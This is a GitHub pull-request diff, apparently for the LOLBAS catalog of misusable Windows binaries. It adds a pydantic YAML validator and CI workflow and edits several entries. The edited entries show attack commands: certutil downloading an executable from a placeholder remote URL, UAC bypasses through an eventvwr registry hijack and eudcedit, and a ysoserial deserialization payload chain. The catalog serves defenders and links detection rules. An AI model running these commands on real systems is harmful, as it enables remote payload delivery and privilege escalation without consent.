Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .github/.yamllint
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ rules:
trailing-spaces:
level: error
line-length:
max: 1000
level: warning
new-lines:
level: error
Expand Down
120 changes: 120 additions & 0 deletions .github/workflows/validation.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
import glob
import os
import sys
from typing import List, Literal, Optional

import yaml
from pydantic import BaseModel, HttpUrl, RootModel, ValidationError, constr, model_validator, field_validator, ConfigDict

# Disable datetime parsing
yaml.SafeLoader.yaml_implicit_resolvers = {k: [r for r in v if r[0] != 'tag:yaml.org,2002:timestamp'] for k, v in yaml.SafeLoader.yaml_implicit_resolvers.items()}


safe_str = constr(pattern=r'^([a-zA-Z0-9\s.,!?\'"():;\-\+_*#@/\\&%~=]|`[a-zA-Z0-9\s.,!?\'"():;\-\+_*#@/\\&<>%\{\}~=]+`|->)+$')


class LolbasModel(BaseModel):
model_config = ConfigDict(extra="forbid")


class AliasItem(LolbasModel):
Alias: Optional[str]


class TagItem(RootModel[dict[constr(pattern=r'^[A-Z]'), str]]):
pass


class CommandItem(LolbasModel):
Command: str
Description: safe_str
Usecase: safe_str
Category: Literal['ADS', 'AWL Bypass', 'Compile', 'Conceal', 'Copy', 'Credentials', 'Decode', 'Download', 'Dump', 'Encode', 'Execute', 'Reconnaissance', 'Tamper', 'UAC Bypass', 'Upload']
Privileges: str
MitreID: constr(pattern=r'^T[0-9]{4}(\.[0-9]{3})?$')
OperatingSystem: str
Tags: Optional[List[TagItem]] = None


class FullPathItem(LolbasModel):
Path: constr(pattern=r'^(([cC]:)\\([a-zA-Z0-9\-\_\. \(\)<>]+\\)*([a-zA-Z0-9_\-\.]+\.[a-z0-9]{3})|no default)$')


class CodeSampleItem(LolbasModel):
Code: str


class DetectionItem(LolbasModel):
IOC: Optional[str] = None
Sigma: Optional[HttpUrl] = None
Analysis: Optional[HttpUrl] = None
Elastic: Optional[HttpUrl] = None
Splunk: Optional[HttpUrl] = None
BlockRule: Optional[HttpUrl] = None

@model_validator(mode="after")
def validate_exclusive_urls(cls, values):
url_fields = ['IOC', 'Sigma', 'Analysis', 'Elastic', 'Splunk', 'BlockRule']
present = [field for field in url_fields if values.__dict__.get(field) is not None]

if len(present) != 1:
raise ValueError(f"Exactly one of the following must be provided: {url_fields}.", f"Currently set: {present or 'none'}")

return values


class ResourceItem(LolbasModel):
Link: HttpUrl


class AcknowledgementItem(LolbasModel):
Person: str
Handle: Optional[constr(pattern=r'^(@(\w){1,15})?$')] = None


class MainModel(LolbasModel):
Name: str
Description: safe_str
Aliases: Optional[List[AliasItem]] = None
Author: str
Created: constr(pattern=r'\d{4}-\d{2}-\d{2}')
Commands: List[CommandItem]
Full_Path: List[FullPathItem]
Code_Sample: Optional[List[CodeSampleItem]] = None
Detection: Optional[List[DetectionItem]] = None
Resources: Optional[List[ResourceItem]] = None
Acknowledgement: Optional[List[AcknowledgementItem]] = None


if __name__ == "__main__":
def escaper(x): return x.replace('%', '%25').replace('\r', '%0D').replace('\n', '%0A')

yaml_files = glob.glob("yml/**", recursive=True)

if not yaml_files:
print("No YAML files found under 'yml/**'.")
sys.exit(-1)

has_errors = False
for file_path in yaml_files:
if os.path.isfile(file_path) and not file_path.startswith('yml/HonorableMentions/'):
try:
with open(file_path, 'r', encoding='utf-8') as f:
data = yaml.safe_load(f)
MainModel(**data)
print(f"✅ Valid: {file_path}")
except ValidationError as ve:
print(f"❌ Validation error in {file_path}:\n{ve}\n")
for err in ve.errors():
# GitHub Actions error format
print(err)
path = '.'.join([str(x) for x in err.get('loc', [None])])
msg = err.get('msg', 'Unknown validation error')
print(f"::error file={file_path},line=1,title={escaper(err.get('type') or 'Validation error')}::{escaper(msg)}: {escaper(path)}")
has_errors = True
except Exception as e:
print(f"⚠️ Error processing {file_path}: {e}\n")
print(f"::error file={file_path},line=1,title=Processing error::Error processing file: {escaper(e)}")
has_errors = True

sys.exit(-1 if has_errors else 0)
42 changes: 11 additions & 31 deletions .github/workflows/yaml-linting.yml
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

- name: Check file extensions
run: |
files=$(find "$GITHUB_WORKSPACE/yml" -type f -not -name "*.yml");
Expand All @@ -17,6 +18,7 @@ jobs:
exit 1;
fi
unset files

- name: Check duplicate file names
run: |
files=$(find "$GITHUB_WORKSPACE/yml/OSBinaries" "$GITHUB_WORKSPACE/yml/OtherMSBinaries" -type f -printf '%h %f\n' -iname "*.yml" | sort -t ' ' -k 2,2 -f | uniq -i -f 1 --all-repeated=separate | tr ' ' '/')
Expand All @@ -26,34 +28,12 @@ jobs:
exit 1;
fi
unset files
- name: yaml-lint
uses: ibiqlik/action-yamllint@v3
with:
no_warnings: true
file_or_dir: yml/**/*.yml
config_file: .github/.yamllint
- name: Validate Template Schema
uses: cketti/[email protected]
with:
files: YML-Template.yml
schema: YML-Schema.yml
- name: Validate OSBinaries YAML Schema
uses: cketti/[email protected]
with:
files: yml/OSBinaries/*.yml
schema: YML-Schema.yml
- name: Validate OSLibraries YAML Schema
uses: cketti/[email protected]
with:
files: yml/OSLibraries/*.yml
schema: YML-Schema.yml
- name: Validate OSScripts YAML Schema
uses: cketti/[email protected]
with:
files: yml/OSScripts/*.yml
schema: YML-Schema.yml
- name: Validate OtherMSBinaries YAML Schema
uses: cketti/[email protected]
with:
files: yml/OtherMSBinaries/*.yml
schema: YML-Schema.yml

- name: Install python dependencies
run: pip install yamllint==1.37.1 pydantic==2.11.9

- name: Lint YAML files
run: yamllint -c .github/.yamllint yml/**/

- name: Validate YAML schemas
run: python3 .github/workflows/validation.py
129 changes: 0 additions & 129 deletions YML-Schema.yml

This file was deleted.

2 changes: 0 additions & 2 deletions yml/OSBinaries/Bitsadmin.yml
Original file line number Diff line number Diff line change
Expand Up @@ -35,8 +35,6 @@ Commands:
Full_Path:
- Path: C:\Windows\System32\bitsadmin.exe
- Path: C:\Windows\SysWOW64\bitsadmin.exe
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_tld.yml
Expand Down
4 changes: 2 additions & 2 deletions yml/OSBinaries/Certutil.yml
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ Commands:
MitreID: T1105
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- Command: certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}
Description: Download and save an executable to disk in the current folder when a file path is specified, or %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\[hash] when not.
Description: Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>` when not.
Usecase: Download file from Internet
Category: Download
Privileges: User
Expand All @@ -26,7 +26,7 @@ Commands:
MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- Command: certutil.exe -URL {REMOTEURL:.exe}
Description: Download and save an executable to %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\[hash].
Description: Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>`.
Usecase: Download file from Internet
Category: Download
Privileges: User
Expand Down
3 changes: 0 additions & 3 deletions yml/OSBinaries/Cmdkey.yml
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,3 @@ Detection:
Resources:
- Link: https://web.archive.org/web/20230202122017/https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation
- Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey
Acknowledgement:
- Person:
Handle:
2 changes: 1 addition & 1 deletion yml/OSBinaries/Eudcedit.yml
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ Author: Matan Bahar
Created: 2025-08-07
Commands:
- Command: eudcedit
Description: Once executed, the Private Charecter Editor will be opened - click OK, then click File -> Font Links. In the next window choose the option "Link with Selected Fonts" and click on Save As, then in the opened enter the command you want to execute.
Description: Once executed, the Private Charecter Editor will be opened - click OK, then click File -> Font Links. In the next window choose the option "Link with Selected Fonts" and click on Save As, then in the opened enter the command you want to execute.
Usecase: Execute a binary or script as a high-integrity process without a UAC prompt.
Category: UAC Bypass
Privileges: Administrator
Expand Down
4 changes: 2 additions & 2 deletions yml/OSBinaries/Eventvwr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ Author: Jacob Gajek
Created: 2018-11-01
Commands:
- Command: eventvwr.exe
Description: During startup, eventvwr.exe checks the registry value HKCU\Software\Classes\mscfile\shell\open\command for the location of mmc.exe, which is used to open the eventvwr.msc saved console file. If the location of another binary or script is added to this registry value, it will be executed as a high-integrity process without a UAC prompt being displayed to the user.
Description: During startup, eventvwr.exe checks the registry value `HKCU\Software\Classes\mscfile\shell\open\command` for the location of mmc.exe, which is used to open the eventvwr.msc saved console file. If the location of another binary or script is added to this registry value, it will be executed as a high-integrity process without a UAC prompt being displayed to the user.
Usecase: Execute a binary or script as a high-integrity process without a UAC prompt.
Category: UAC Bypass
Privileges: User
Expand All @@ -15,7 +15,7 @@ Commands:
- Application: GUI
- Execute: EXE
- Command: ysoserial.exe -o raw -f BinaryFormatter - g DataSet -c "{CMD}" > RecentViews & copy RecentViews %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews & eventvwr.exe
Description: During startup, eventvwr.exe uses .NET deserialization with %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews file. This file can be created using https://github.com/pwntester/ysoserial.net
Description: During startup, eventvwr.exe uses .NET deserialization with `%LOCALAPPDATA%\Microsoft\EventV~1\RecentViews` file. This file can be created using https://github.com/pwntester/ysoserial.net
Usecase: Execute a command to bypass security restrictions that limit the use of command-line interpreters.
Category: UAC Bypass
Privileges: Administrator
Expand Down
Loading